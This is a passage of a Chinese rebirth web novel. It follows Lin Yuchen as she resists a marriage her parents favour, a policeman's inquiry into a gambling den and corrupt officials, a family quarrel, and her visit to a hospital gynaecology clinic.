林大宝也举起杯子要喝。林兰香的脑子一清,给他按下去。
林大宝:“做什么呀?小伙子都发誓了,就一杯酒。”
“这酒能随便喝吗?这是让你答应的定亲酒啊。”林兰香抽着眼角,刚要拒绝,楚邵又说话了。这张嘴已经把林兰香吓得都快生病了。
“妈,没事。爸,喝吧。你不答应也喝。我知道,感情的事还得看晨晨,你们俩疼她呢。”楚邵直接端起林大宝的酒,往他嘴边递去,“爸,喝吧。”
“小伙子,你这嘴改得快了点啊,不能这样啊。呃呃……咕隆。”
林兰香已经阻止不了地球毁灭,别同醉鬼讲道理,扯不清的。拍着额头进灶房,坐在灶间思来想去,觉得这楚邵说得挺好。
不怕人穷,只怕心不诚。现在,小伙子心诚人实,还肯提前说出让一个孩子姓林的话……真是没话说了。
心里的天平就那样偏了一些。
26. 灭门案
“妈,怎么了?”林语晨回来时见自家妈在院子里发呆,“爸呢,那人走了?”
林兰香刚要把饭桌上的事说给她听就见到后面的赵有归,忙转口:“有归,有事啊?”
“林姨,楚邵在这吗?我找他谈些事。”赵有归望向堂屋,里面的躺椅上,林大宝盖着薄被,正打呼噜。
“在屋里。”林兰香应着,“你叔喝多了,在堂屋睡着呢。”一把拉住跟过去的林语晨,“你留下,妈有话问你。”
林语晨不解地问:“我爸在堂屋,那人在哪?”见着母亲的眼神,直接上火:“那混蛋睡里屋——你们的床上去了?”
“他是客人啊。”林兰香解释。
“什么客人睡你们屋啊!”林语晨在原地转一圈,奔到墙角的杂物房,拿起锄头就要进屋。
林兰香呀了声,赶紧拦她:“发什么颠。他不是在县里救了你吗?十块钱不是小数。这年头多少人家不收钱就把女儿嫁过去。”
说完自己都捂嘴:这前言后语搭得话……要命了。
林语晨被这句话彻底震住,无力地放下锄头,哽直了眼:“妈……”这一声里满是说不出的委屈,理智让她努力讲道理,“你留他吃一顿饭,算是谢过他吧。你请他吃饭,怎么反过来,他把你们收买了?”
“我不是这个意思。他有工作,工资不低,说得那些话又很合爸妈的心意。”林兰香拧巴了,蹙着眉道出饭桌上楚邵发的誓言和说出的约定。
另一边,赵有归杵在堂屋,喊了声打呼的林大宝,听完屋外的对话,沉重地走进里屋。
楚邵在床上睡得像猪一样死。
赵有归死死地盯着他,收敛眸光里的凶意。
“她被你气得够呛,乱了阵脚,你却在这睡得踏实。”
屋外,林语晨已经大叫:“妈,他说什么你都信啊。桃花眼给你下咒吗。孩子?狗屁的孩子啊。”再也憋不住地红了眼。
前世那么多钱,唯独缺孩子和健康。说白了,这一切都是楚邵带来的伤痛。
“我不管你们觉得他哪里好,总之,我和他不可能待在一个屋檐下。你们想要入赘的儿子是吧?你们要他去啊。”
“林语晨,说什么胡话,你给我回来。”林兰香看着她气冲冲地跑出门,追出院子。
“林姨,我去吧。若是楚邵醒了,帮我留下他。他可能涉及一起非常重要的案件,需要问他几句话。”
赵有归不等林兰香的回应,大步追出院门。
林兰香一巴掌拍在额头:“有归说得是真事吗?不不不……犯事的不行,绝对不行!真不行!”
林语晨一路跑到灵源江边,喘着粗气,吹着冷风,怎么都无法平复心情。
若是可以,她想朝着江水大喊几声。
赵有归站在上风口,宽大的身板挡住侧面吹来的东风,一字没说,就这样陪她站着。
浩浩荡荡的碧波江水奔流而去,像是承载着林语晨满心的愤怒去远行。江上渔舟,喷着拖拉机一样的白烟划过。鸥鹭沿对岸飞掠水面,似有收获。
林语晨彻底平静下来,寻块老青石头坐下。
赵有归走过去,依旧挡在上风口,有心说什么,却不知道该怎么安慰她。
“你相信命吗?”林语晨先开口。
江对岸的渔船停下来,打渔人在船头下网。
“命能改吗?”会不会像是被网住的鱼,只能被动地等待着被捞上岸,直至死亡。
“不信。”赵有归答。
“我也不信。可是,当我妈说出那么可笑的话时,我突然……突然像被命运包裹了一样,好像我永远不可能挣出那个既定的囚笼。”
林语晨颤抖地看向双手,又缓缓地摸向肚腹,“不信又能怎么样?”
我这辈子都不可能怀孕!
前世,林语晨早已接受这个现实。
但是,重生归来,发誓不让林爸林妈再为女儿的事操心,却发现他们依旧在渴望下一代。这个愿望,林语晨自觉无法满足他们。
“活下去有什么用呢?”
躺在病床上就这样去世不是很好吗?渣男的仇也报了,两老有足够的钱生活下去,只不过没有下一代相伴……
——重生回来干什么?
林语晨陷入绝望自抑的漩涡,像是前世待在病房的窗户前,城市的灯光充满人间烟火,而那个苍白佝偻的女人正在步向死亡。
究竟是什么让我不顾一切拼了命般地挣扎着重新再活一次啊?
“林语晨,振作点。”赵有归矗立在她面前,俯视她即将崩溃的含泪双眸,“你我都是不信命的人,只要你想改变,就一定可以做到。”
林语晨屈起膝盖,环抱住自己。
有些事根本改变不了。
我想要有一个自己的孩子,活出自由轻松的人生。我想要人生不再泥泞,充满鲜花和四季。
然而,我这辈子都不可能有个属于自己的孩子。
赵有归思索重生前的林语晨一生,无法找到让她陷入这般脆弱境地的理由。归咎原因,林叔林姨接受楚邵,才让她对既定的命运产生恐惧。
但是,林语晨是有仇必报的女人,而且她一定不信命。即使她恐惧,也不会脆弱到陷入屈服于命运的漩涡。
究竟是什么让她变成这样?
赵有归沉重地吸口气,缓慢而坚定地说:“林语晨,不想嫁给楚邵,就一定不会嫁给他。没有人可以逼你嫁给一个你不喜欢、甚至厌恶的人。难道林叔和林姨就可以做到?”
林语晨的下颚杵在膝盖上,吸了下鼻翼,轻轻地摇头。
“既然是这样,为什么还要这么难过?”赵有归忍不住蹲下,仰首看着她的表情。这时,他才感觉出那丝味道,心像被蜜蜂蛰过,酸胀、难受的味道,让他拳起手。
——原来,对你,我竟早已……放不下了。
林语晨眨眼睛,从赵有归的眼神里看到一丝奇妙的情绪。
这股情感吸引她,伸手触碰他的眼角。
相触得刹那,粗糙的温暖肌肤让她的心一缩,极快地收回手。
赵有归的心淌过一阵悸动,抬起的手终究是慢了一步,再次让她逃走。
林语晨意识到尴尬,收起眼里的酸涩和脆弱:“我……没事。”
“一点不像没事的样子。”赵有归接句,为意识到的情感乱了阵脚,起身坐在她的右手边,正好挡着风。
林语晨的脑
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海里很乱,埋首膝弯深深地吸几口空气,平复点后按着心意问:“明天你会带婶婶去市里对吧?”
“嗯?嗯!”
“我可以一起去吗?我想做个检查。”林语晨看向他,目里露着期盼,映着赵有归背后青黄不接的芦苇花,洋洋洒洒地浮在泛着涟漪的眼波里。
赵有归刚刚收拾好的心境又起波澜,和着她眼里的涟漪,像是江面漂浮起的丝雾,顺着风缠绞着升上天。
他慢慢地笑了。因为林语晨的振作。也因为他终于找到那个原因,林语晨的眼里有着和他一样的孤冷,还有渴望得到爱的勇气。
“好啊。”
求之不得!之前提议林姨林叔一起做检查就是为林语晨上医院做铺垫。现在林语晨主动提出去检查,正中下怀。
不对,她为什么提议去检查?难道这时候她的身体已经出现问题?
“你是不是……”赵有归有心问深一点。
林语晨同他的眼神对上,分辨出他眼里得那丝情绪是焦急和关心。
这张线条刚硬的脸上的神情是在为我担心吗?
“我……”
两人的眼神一直绞在一起,直到突破心理上那个点,仿佛被什么震了一下。赵有归没有躲,而林语晨再次躲开了。
赵有归暗吸口气,镇定地说:“明天下午一起去市里。其它的事我来安排,你要请一天假,可以吗?”
“嗯。我会找晓琳帮忙请假。”林语晨感受内心一闪而过的悸动酥麻,尴尬中只觉得可笑。
——家?赵有归的眼里怎么可能有我要的家?
她收拾心境,淡然地面对他,“回去吧。别让楚邵跑掉。他帮林裕宝拉货,对你来说会有些线索吧?”
赵有归点头,起身后递去手,想拉她起来。
林语晨假装没看见,侧身下石,拍了拍灰尘。
赵有归看着她头也不回向前走,垂敛眸光。
其实,两人加起来快过九十了,真没有那么多弯弯绕绕的小年轻心思。
重生归来,生活、身体确实新生,但是心里得那道坎还在,林语晨踏不过去,就不可能敞开地迎接新生活。
回家的路上,林语晨想起张家灭门案,有心说点什么。
“林裕宝开设歌舞厅,除做……那个生意外,还做其它地下生意吗?”
赵有归不想让她牵扯太深,但是昨日已经透露过一些,必定会引起她的注意。
“你不怕牵扯太深,把你卷进去?”
“你觉得我没在这件事里面吗?周一不回县高,让孙佳好得意一天。星期二,你看她会不会找我的茬。”林语晨可太了解这些姑娘的脾气了,“即使你抓住林裕宝这伙人,孙佳好这种……不会有法律惩罚吧?”
“若是伤人,一样要接受制裁。”赵有归微微敛眉,“别做傻事。”
“知道。放心吧,张茉莉会保护我。对了,我还听楚邵说句很奇怪的话。”
“什么?”赵有归从善如流问。
“张家……灭门。”林语晨慢慢地说完,回身去看赵有归的神情,发现他……什么表情都没有,一张冷脸。
赵有归早已收敛神色,淡定回问:“哪个张家?”
27. 第一次
“八一造纸厂,张德梁的张家,张茉莉的张家。”林语晨一拍嘴,“其实,我觉得很奇怪……”
“不奇怪。”赵有归不等她找理由,已经替她补充,“张家主持八一造纸厂近十年,带动八一村成为国家重点造纸企业,张德梁更是德行兼备,在工作上成绩斐然,在八一民众中有极高的声誉。
有消息说,他会被调往省级国企任职,就在灵江市。如果是这样,张家确实挡了一些人的道,引来祸事就不奇怪。”
林语晨恍然:“原来是这样。你不觉得他知道这个消息……”
“伤害张家得不一定是林裕宝,而是与林裕宝等人有牵扯、甚至可以控制他们的人。”赵有归绕过呆若木鸡的林语晨进林家,问林兰香要一碗水,端着进堂屋。
林兰香看向杵在院门口的女儿,沉张脸过去:“发什么呆呢,还不回家。这么大了,还让人看笑话。”
——控制林裕宝的人?孙不二!不,比孙不二还要厉害,那人可能在灵江市。
林语晨回过神,一把抱住林兰香:“妈,我错了。你原谅我。”
“这又怎么了?”林兰香的心里还有别扭,拍在女儿的肩头,也开始反思,“其实是妈不好,太心急。明知你要高考,还想着你嫁人的事。你不喜欢那人,咱就不嫁。”
“肯定不嫁他。”林语晨抱着她,“妈,若我生不了孩子……”
“胡说什么?”林兰香急了。
林语晨改口:“我不生孩子。若你喜欢孩子,不如,你和我爸再生一个呗。”
林兰香看女儿逃向屋,气得脸色通红:“死丫头妮子,拿妈寻开心呢。”
林语晨转念一想,之前掉死胡同,谁说孩子一定要自己生。“若是你不愿意,回头我给你领养一个孩子啊,真心的。”
“你不气死我不解气是吧?”林兰香蹙着眉,回过味,“你怎么就不能生了?”
“我例假不正常。”林语晨觉得这事迟早要说,先打个招呼好让她容易接受。
“不可能!我算着日子给你做的棉花垫子,小日子挺正常啊。”林兰香又气又纳闷,怀疑这妮子就是在寻人开心,为刚才的口误找补回去。
——
屋内,赵有归终于明白林语晨的脆弱,一把拎起楚邵,一口冷水喷他脸面。
“啊,”楚邵大叫一声,从凳子上蹦起,诧异地环顾四周,纳闷地看向赵有归身后的床,“……我不是睡在床上吗?”
“不好弄脏人家的床,我把你挪下来。”赵有归坐在床沿,把碗递去,“解解酒。”
楚邵抹把脸,看到这人算彻底明白了,不用纠结投靠谁。
“谢谢。”
他接过碗,一饮而尽,末了问,“生水啊?”
“啊。”赵有归点头,“不客气。”
楚邵噎了下,把碗扔在床头的五斗柜,憋着气坐下。
对面不先说请字,他打定主意不开口。条子来求人办事,总得给人面儿吧。
赵有归非常沉地住气,取出一盒红塔山烟,在手里转着,食指一下下地拨动烟盒,绕了一圈又一圈。
楚邵盯着他手里的烟,抽动鼻翼,又撇开眼。膝头的手指已经做出夹烟的举动。
赵有归这只老狐狸,这么快就有未来调查组长的架势。
“行了行了,给我支烟,我说。”
赵有归把烟盒抛去,无波无澜地看着他。
楚邵接过烟,发现没开过口:“你不抽啊?我不客气了。”迫不及待地夹了烟,又问,“火呢?”
赵有归偏头,目光清明有力地看着他,眼里明明白白写着:说!
楚邵拿烟的手在空中使劲戳几下,泄气地说:“你们这些当官的,摆的架势真是一套又一套。呵,若是以前……我一定不会告诉你。”
“你一定会说。”赵有归对此有十足把握。
“是啊。我怎么会不说呢。”楚邵自嘲地哼笑。
重生的人最怕什么?怕走曾经的错路、老路。
楚邵作为重生者,不可能在同一个地方栽两次跟头,对吧?
何况,他怕死啊。
“在狮虎村-上山村的后山祠堂。规模一般,十来张桌子,麻将、扑克、骰子……全乎了,流水最大是同花顺、拼三张。人不少,都是从灵江市过来的……商人吧。我不认识。”
赵有归蹙眉思考:“你是在昨晚上过去?”
“啊!厂子就在我拉货的采石场后面,其实也不远,但是谁能想到呢。孙不二真他爹是个人才。”楚邵深深地吸口烟草的气息,“拿烟不带火柴盒,你是钓鱼老吧?”
赵有归没接这话,继续问:“你有见到认识的特别的人吗?”
这个“认识的特别的”话意可深了。前世的楚邵是灵江市的首富,由他供上去、拉他起来的人差不多都要显山露水了。
楚邵的神色瞬间僵硬,非常明白他要问得是谁,神情沉得像是死了爹。
“赵有归,有些话好说。有些人不好提。你抓不全乎,到时候谁保我?”
“今天你说了,你就是警方的卧底。不说,来日抽烟还是坐牢,不用我帮你选吧。过几日,若你在赌场被抓,我还能保你。不说,呵。”赵有归伸出手,目光落在他另一只手里的烟盒。
楚邵捏紧手里的烟盒,不让出去,真是怕了这人。神情上一番挣扎,最终下定决心。
“赵有归,我信你啊。祠堂后面有个搭房,有专人看门。我试过,不让进。
但是,昨天正好是周五,那些人应该是放衙后过去。我虽没看到人,但是看到可以坐二十人的客车。
客车就停在祠堂后面的小路,车牌被遮了,我没敢撕。”
赵有归轻轻地点头,沉肃的面容被一片阴霾笼罩。
楚邵看着他黑沉的脸色,心想一不做二不休,全说了吧。
“搭房里的级别应该不低,人数不一定有客车规格的人数那么多,起码在五人左右。”
“判断依据?”赵有归发现他隐藏的意思。
楚邵磨着后牙槽,切齿地说:“陆天!陆天进不去搭房。这老货化成灰,我都认得他。另外,有个警察,外号田螺,同陆天一桌。”
赵田、陆天,这是楚邵踏上不归路的第一站。
重生归来,他怎么可能会忘记他们!
赵有归的神情瞬间亮了,以陆天、赵田的情况来推,与江源县有牵扯的……那搭房里的人可查范围就缩小很多。
院子里、里屋窗户外的林语晨僵住手脚,陆天这个名字简直是她人生开始辉煌路上的噩梦。
陆天,现环保/局、局长,把持一切企业生产的环境问题。
造纸厂执照办下来,但是正式开工却被卡脖子。
因为在生产纸张的过程中会产生大量污水。
这些污水会影响附近的水质,让鱼苗、河虾、贝类无法生存,甚至让整条河沟返臭,影响可长达几十年。
当时,一心想要致富的人谁知道这个关系到未来的影响呢?
环保局知道,若要造纸厂正常生产,需要一个净化池。而这个净化池占地面积非常广,且需要先进、造价昂贵的净水系统过滤、分解污染物。
林语晨的造纸厂建在集体仓库,水渠直通灵源
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江,河岸内是分产到户的田地。一般情况没人会卖地,也不允许买卖,也就无法建造净化池。
前世,林语晨费劲全力办起造纸厂,已经没有能力再去搞净化池。她眼睁睁地看着费心费力跑下来的造纸厂不能开工,整个人都疯魔了。
楚邵托关系约到陆天,请他在县里的第一庭吃饭。
当时,两夫妻和帮忙牵线作陪的赵田一起在场。
陆天在席上赞了句:“钱,我不缺。但是,入眼的人,真不多。林厂长,女人办厂真少见,女中豪杰啊,还是这么漂亮的女豪杰,像戏文里的穆桂英。
陆某人佩服你,喝了这杯酒,你我就是朋友。”
这是林语晨喝下的第一杯酒。
整餐饭的气氛很舒服,陆天客气,楚邵能吹牛,赵田能打气氛,和气得像是一起要把厂子做大做强。
林语晨以为这事就这样解决,第二天厂子就能开工,心里满怀希望。
饭后,三人送走陆天,赵田留下说:“楚兄弟,这餐饭没白吃吧?”
“没有没有,太谢谢你了。”楚邵半张脸全是酒气熏的红色,扶着半昏半醒的林语晨感谢他。
赵田的目光在林语晨的脸上游走一圈,哼笑:“我也不兜圈子。听说林厂长和你刚领证,酒还没办呢。人……动过了?”
楚邵笑得像是春天,满足地揽着林语晨的腰,呵呵笑:“不瞒赵哥,今晚。哦,酒也快了,到时候一定请你和陆局喝一杯。”
“没办就好。”赵田陪他笑,靠近耳语:“先别碰。明天晚上,县招待所303房,你把她送去,事情就成了。”拍了拍楚邵僵硬的肩头,哼着小调走了。
楚邵木木地看着直起身的林语晨,闪烁着眼神,慌乱地喊:“晨晨……”
“我听到了。”林语晨的神情又恨又怨又委屈,悲愤地喊了声,“这些人怎么这样啊?呜呜……”
楚邵一把搂住她,安慰她:“别哭,大不了咱不办这厂子了。”
“不办?投下去的钱怎么办?我怎么对得起晓鹤的信任,怎么跟我爸妈说?那是我爸拿命换来的抚恤金。”林语晨软地蹲下,又被楚邵捞起来。
两人沉默地回到寂静的集体仓库,抚摸里面全新的造纸机器。
这一夜,楚邵想碰她却不敢碰,林语晨冷笑了声,借着酒气直接吻了他,就这样把人生搭进去。
翌日,楚邵的心情飞扬,拉着林语晨说:“晨晨,别怕。我去问赵田借钱,不信陆天不点头。”
林语晨摇头,面容坚定地说:“今晚,我去见他。赵田在席上说,陆天喜欢打牌,那么他一定好赌。十赌九输,他不会不缺钱。
我会提一个让他不能拒绝的理由。阿邵,你信我吗?”
楚邵张下嘴,想要拒绝,又觉得没有拒绝的理由。
林语晨自己要去,没有人逼她去,不管她去了以后付出什么,都是她自己的选择。
懦弱、自私让楚邵选择沉默。他渴望造纸厂开工,渴望获得像陆天那样的权势。所以,他不能拒绝林语晨的提议。
林语晨的眼里泛上泪水。
她希望楚邵反对,然后由楚邵提出来,不管是把造纸厂未来所有的收益送给陆天还是直接卖掉造纸厂,都希望楚邵能担起一个男人的责任,去面对这一切。
但是,这个男人没有,他选择沉默!
这是林语晨第一次看清楚邵桃花眼后的真性情。
--
里屋窗外的林语晨木讷地走开,站在院子里的自来水龙头前,打开水后扑了一脸冷水。
通红的眼里滚出热泪,混着水滴滑落下颚。
28. 省一院
里屋里,楚邵抹把脸,沉声说:“赵有归,你一定要抓住他们。”
赵有归点头,沉默地走出去,躺椅上的林大宝忍不住抽动下,假装睡着。
“林叔,我先走了。”赵有归打过招呼后离开堂屋,正见林语晨回屋,走到她的房门口,有心想说什么,又放下敲门的手,迈步离去。
林大宝起来招呼楚邵,没打探两人的谈话内容。
楚邵的兴致不高,提到陆天,确实伤了自尊,而且愧对林语晨,一刻不停地离开林家。
林大宝看着空落落的院子,喊句:“晨晨,干嘛呢?”
“爸,我在看书。”屋子里的林语晨看着历史书,长吸口气后静下来背诵。
“好好,看书好。爸下田去了。”林大宝扛把锄头离家:一个两个把我这当根据地了?有意思。
——
楚邵想告诉林语晨,这一世我们能有个孩子,也绝对不会再负她。
可是,现在的林语晨并不知道前世发生过的事。说了,她不会懂,甚至会恨。
心里空落落地不着地,只想回家大梦一觉。
林家村正在热热闹闹地募股。村民谈论得都是这事,甚至在商量向村委反映把造纸厂的厂址放到林家村,别便宜赵家村。
楚邵叹口气,林家村比赵家村还要排外,甚至自己人都不团结,为点蝇头小利能打进派出所。
楚邵的父亲也是知青下乡,和同为知青的邵美芬结婚。
按当时的情况,两人只能要一个孩子,日后还有可能回城。
结果,楚邵来了,楚父为此丢掉村里记粮的轻松工作。等老三楚新意来的时候,两夫妻对回城彻底不抱希望,只能认命,在林家村落户。
前几年,楚父下地干活,勤勤恳恳一整天,赚的工分却没有偷懒的人多,与人起争执。打架没打过,心里落下病根。后来,一场风寒得了肺病,熬几年过世了。
邵美芬拉扯三个孩子得活下去啊,抱着小女儿、拉着小儿子,坐在主任家门前哭。
因为她是知识分子,村里人对她丈夫的事有些责任,主任给她个机会在村里做会计。但是,这活也没做几年。
林家村自己的孩子学有所成,本地人又拿走会计这活。
邵美芬也没办法,幸好大儿子已经长成,能赚钱了。她用存下来的所有钱帮老大楚林娶同村的林彩霞做妻子。
之后,她就没有余钱帮楚邵和楚新意置办了。
院子里,大儿楚林和儿媳林彩霞正在逼邵美芬拿出钱来募股。
邵美芬看到楚邵回来,死沉的脸色瞬间有光:“阿邵,你回来了。”
楚邵看向脸色下拉的大哥和臭脸的大嫂,不用问都知道是怎么回事。
这些年,家里的开销日用和存款都是大哥、大嫂赚回来。母亲以帮大哥娶媳妇为由,收着大哥、大嫂赚来的票子和钱。
这次,林家村要募股,大哥大嫂肯定要母亲拿出钱。
邵美芬肯定不愿意,因为她要把这点钱留着给楚邵娶妻。
楚邵不等两方吵嘴,先开口:“大哥,你想要买多少股?”
楚林还没说话,林彩霞抢白:“我们能买多少啊,钱不都妈拽着嘛。该拿出来花的时候还藏着掖着,能带进棺材里去啊。”
邵美芬的脸色顿时通红,作为知识分子家庭,下乡留在这已经很委屈。现在还要受儿媳的气,直接落了泪。
“我死了也带不走。但是,这是留给阿邵娶媳妇。老大,你说句话啊。”
楚林要张口,又被妻子给按下去。
楚邵瞪向嫂子,看向大哥,也等他开口。
楚林这才说:“妈,把钱拿出来。阿邵能说会道,长得好,不用钱也能把女人娶回家。”
楚邵意味不明地笑了声。邵美芬气得直接回堂屋。
林彩霞冷哼:“你笑什么?全靠我是林家村人,村委那边才肯让咱家有机会入股,难道你们要错过以后捡钱的机会吗?”
楚新意在房里听不下去,从窗户探出头,瞪向大嫂:“二哥,你不管管大哥,天天惹妈哭。某些人一天到晚仗着自己是林家人,大呼小叫个没完,还以为给我家带多少好处。二哥的工作是他自己找的,他现在的工资不高吗?”
林彩霞最烦小姑没大没小,冷哼:“小叔能赚钱?一个月工资就拿去买辆自行车,都不知道他买车的票子从哪里弄来呢。他给家里花过一分吗?
哦,他给你买了头绳。妈手里存下的钱,多少是小叔赚来的?搞得我们像是在家白吃白喝一样,究竟谁才是这个家的蛀虫?”
“够了。”楚邵瞪向楚林,“哥,你说句话,咱们分家。”
楚林的眼神后缩,楚父临死前千叮铃万嘱咐:若两兄弟要分家,必须都已成家且把妹妹嫁出去,否则,这家就不能分。
林彩霞巴不得分家,踹了楚林一脚,让他说话。
楚林的喉结滚几下,低声说:“现在,阿邵的工资高了,咱家的日子能好起来。”
林彩霞顿时呕一口气,红着眼喊:“他赚钱能给你花?别做梦了。”既然这样,一不做二不休,大家都别好过。
“分家?小叔,现在的工资高了就想分家?前面吃喝拉撒上学怎么算啊?”
邵美芬在屋里气狠了,砸了碗,朝外大喊:“阿邵,你说分,妈就分。妈和妹妹跟你过。”
楚林这才敢出头,朝妻子呵斥了声,轻声说:“阿邵,爸死前说了,新意不嫁人,你不结婚,就不能分家。若妈一定要分,那就听妈的话。”
楚邵听出大哥的话意,他是想把妈和妹妹都甩给自己啊。
撸把头发,一股愤怒和心酸哽在心口,不上不下,憋得难受。
堂屋里的邵美芬已经不说话了。
楚新意哑口,红了眼睛。
林彩霞得意极了,挽住丈夫的手臂,默默地支持他。
楚邵想凭这股气说“分”,但是,喉咙像是被一团棉花堵住,怎么都说不出那个字。他不合时宜地想起林语晨:难怪语晨不肯留在这家,他自己都不愿意留下。丈母娘家清净多了,对女婿也客客气气,还有酒菜伺候。
一想到这,楚邵掉头就走,没给回复。
楚林恨恨地看着掉头离开的楚邵,暗暗得意地看眼堂屋。
凭什么赚钱是我,你疼得却是楚邵。现在,你看到他的态度吧,这个儿子能不能给你养老?
林彩霞已经开骂:“孬种,软脚虾……”
楚新意气不过,追出门:“二哥,你不管我和妈了?募股的事你也不管了?”
楚邵立在村里的土路道上,回头看向林家村,高不过一层楼的土房子,家家户户却都是鸡皮蒜毛的事。这个地方陌生得让人心寒。
“大哥和林彩霞有钱,爱出多少出多少。”
“那我和妈呢?”楚新意委屈极了,“我不要自行车了,现在你能赚钱,你把我和妈带上吧。”
楚邵烦躁地撸把头发,看着可怜兮兮的妹妹,再次掉头回家。
林彩霞在院子里喊:“妈,你听好。今天你不出这钱,我和楚林出。但是,以后集体厂赚了钱,就是我和楚林的。你们别来分。”
她看到转回来的楚邵,冷哼了声,拉了楚林回屋。
堂屋里邵美芬看着回来的楚邵,忍不住落泪:“她闹这一出就是想说这句话。”
——但是,你只能在这哭,不能回应。
楚邵的心里清楚:因为妈还有个儿子没娶老婆,女儿没嫁人,就只能扒着大哥活着。
他的回应是直接回房,蒙头大睡。
邵美芬失望极了,看着门口无助的楚新意,木然啊地发起呆。
——
翌日,天还没亮,赵松海开着拖拉机送沈秋霞母子和林语晨上江源县的客车站。
赵有归硬塞两块钱给赵松海,谢他帮忙。
随后,他离开一会,回来拿三张车票和一袋包子,带母亲和林语晨坐上前往灵江市的第一班客车。
林语晨背个斜肩的布包,包里怀揣二十块钱。
这是她上医院做检查的费用。手被沈秋霞紧紧地拽着,两人在一晃而过的路灯光里相视一笑。
赵有归把包子递给两人,而后坐在车位上垂着眼想事情。
适才,张天鸿来车站送赵有归,交待这两日的情况。他被张德梁赶出家门后,一夜之间成江源县的笑话。
昨夜,张天鸿去了露天电影场,有人给他介绍几个朋友,男男女女一大帮,都是探听消息。
末了,大家又组局喝酒,来个彻夜不归。
赵有归叮嘱他:“别迷失了。”
“怎么可能。放心吧,按你的计划,我尽量打入他们的内部,同孙不二接触上再说,之后再深入探下去。”
张天鸿捶他一拳,“好家伙,不
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仅把妈带上,连恩人都一起拐去了。”
“瞎说什么。你再帮我注意一个人。”赵有归靠近张天鸿,耳语,“钱忠源。”
“他?为什么?他可是我爸老同学,关系铁着呢。”
赵有归没法跟他说“张家会在明年的端午节前夜被灭门”,只能先从钱忠源这边入手,让张天鸿和张德梁自己觉察出问题。
所以,张天鸿反问的时候,他甚至没多做解释。
因为老战友的关系,赵有归知道只要提过钱忠源这个名字,张天鸿就一定会引起重视。
--
“好吃吗?”沈秋霞只吃一个肉包,余下都给林语晨。
林语晨点头,直接把袋子送回给赵有归:“有归哥,你吃吧。我不饿。”
“先放你那吧。出门前,我妈做了早饭,我不饿。”
赵有归的目光穿过林语晨看向母亲。
沈秋霞正看向车窗外,天还没大亮,外面朦朦胧胧,不是田就是树,没什么东西。
林语晨收起袋子,瞟了他眼:不对,上拖拉机前,婶婶问过我有没有吃早饭。赵有归也知道我吃过早饭,兜里还有妈妈备下的水煮蛋。
——包子不是赵有归买的?那个背对他离开的男人是谁?有点熟悉!
赵有归发现林语晨在想事情,借着车厢里稀稀拉拉的声响,倾身过过道:“语晨,等到灵江市,我先送你们到医院。有几项检查要空腹验血,若今天检验单子出不来,先留在市里住一晚,等明天单子齐全,没问题了,我再送你回学校。”
林语晨心说“不用麻烦”。她要看的科室和沈秋霞不一样。
不过,现在不是说明的时候,她只轻轻地点头。
沈秋霞握住林语晨的手,轻声说:“晨晨,有你陪我去,婶婶心里踏实多了。”
林语晨回握她的手,沈秋霞的这双手比林兰香得还要粗糙、多褶子,让人心疼。
江源县到灵江市,走得是国道,没有后世堵车的情况。
只是,客车经过村庄,逢站必停、招手必停,差不多用一个小时才到灵江市区。
下车后,沈秋霞感觉来到一个全新的地方,周围都是几层的楼房,而且两只脚是飘着的,一时很不适应。
林语晨也是这样,不过,她的适应力强,贴心地搀住沈秋霞的手臂。
“婶婶,这就是灵江市的城站。你看这里的马路大吧?全是老梧桐树,还有那些店,不少私营户已经开门做生意呢。”
“嗯……啊。”沈秋霞的眼睛不够用,即使好多店没开门,都觉得这地方新鲜。
“妈,语晨,车站离医院有两站路,我们坐公交车过去。妈,还行吗?”赵有归有些担心两人的体力。
“没事。乡下人哪这么弱啊。晨晨,你呢?”
“我肯定没问题。”林语晨自信地说。
赵有归忍俊不禁,配合两人的步速,带两人坐公交车上省一院。
等到医院,一名带解放帽的精神小伙子在医院的花坛前徘徊,看到进出人群里鹤立鸡群的赵有归,直接跳出去:“头,你们总算来了。我都挂好号了。这位是阿姨,这位是……嫂子?”
林语晨本在环顾这时候的一院,两幢五楼层,半旧不新,八点还差点的时间,已经人声鼎沸,嘈杂得很。
听了声“嫂子”,唬得她瞪大眼,连忙摆手:“不……我叫林语晨。”
沈秋霞低头笑,摸黑早起到现在紧绷的精神在松散。
赵有归瞪宋景,介绍说:“这是我同村的妹妹,身体不舒服,顺便来做个检查。这是宋景,你们叫他小宋就好。小宋,还能挂上号吗?”
“能啊,不会也是胸外科吧?”宋景有些迟疑,这么年轻的姑娘不会也有大毛病吧?自觉表情有些过了,赶紧找补,“嘿,头,我给阿姨挂得是第八号,要不先进去。”
领着几人进医院挂号的大堂,宋景又找话,“阿姨、大妹子,吃过早饭吗?”
沈秋霞搭话:“吃过了,谢谢你啊。”
林语晨走到赵有归旁边:“有归哥,我不做那个检查,我有其它检查要做。接下来,我会自己去看病。”
赵有归一愣,朝停下的宋景说:“小宋,你先带我妈去门诊排队,我一会就过来。妈,别担心,小宋会照顾好你。”
沈秋霞看向林语晨,有心说什么,又看到儿子的眼神,点头后跟着宋景走了。
29. 妇科检
赵有归想起林语晨和林兰香在院子里半吵半玩笑的话,知道这个检查比较私密,林语晨一定不想让别人知道。
“这样,你检查完在医院门口等,我再把住址写给你,若是中午11点前没碰上,你就直接去家。可以吗?”
林语晨迫不及待地点头,紧张的脸色瞬间笑成朵花,还怕赵有归会追问,这样真是太好了。
赵有归也笑,找医院的导台写张地址递给她,目送她往挂号处去。
暗吸口气后,他去母亲看病的楼层找他们。
林语晨还算幸运,挂到早上的号,只不过号子比较靠后,等待的时间比较长。
她坐在妇科外面的长椅上,摸着小腹发呆。
旁边坐着孕妇,已经显怀,看着年轻的女孩,好奇问:“怀孕了?”
林语晨摇头:“没有。月经不调,来检查一下。”
“哟,这事可大可小,若是不规律,以后有可能怀不上孩子。”孕妇的眼里露出同情,很热心地说起经期时女生该注意的事项,“小日子来了后啊,泡生姜红糖水喝,记得把生姜去皮。这个喝了,能流干净。若是肚子痛,搞个热水瓶,包上棉布放在肚子前暖着……”
“十二号。”护士在门口喊。
孕妇哎哟了声:“到我了。小姑娘,平时注意些啊。”她抚着肚子进门,后面跟着一名中年妇人。
“谢谢。”林语晨暗松口气,眼里平静地笑着。
走廊对面的红漆木椅上是一对年轻男女,正在窃窃私语,看起来非常甜蜜。女生的肚子不大,或许刚刚怀上吧。
林语晨错开女生看过来的眼神,望向她背后墙面上的漆色,半白半蓝,突然想起前世的病号服,就有些窒息。
——明知道答案,为什么要来检查?
她把座位让给后来的孕妇,走到走廊的尽头,看着三楼外的医院园区。
生命在这里进进出出,有甜、有苦,像是串了味的包子。肚子是饿的,包子是香的,吃起来却是黏腻的。
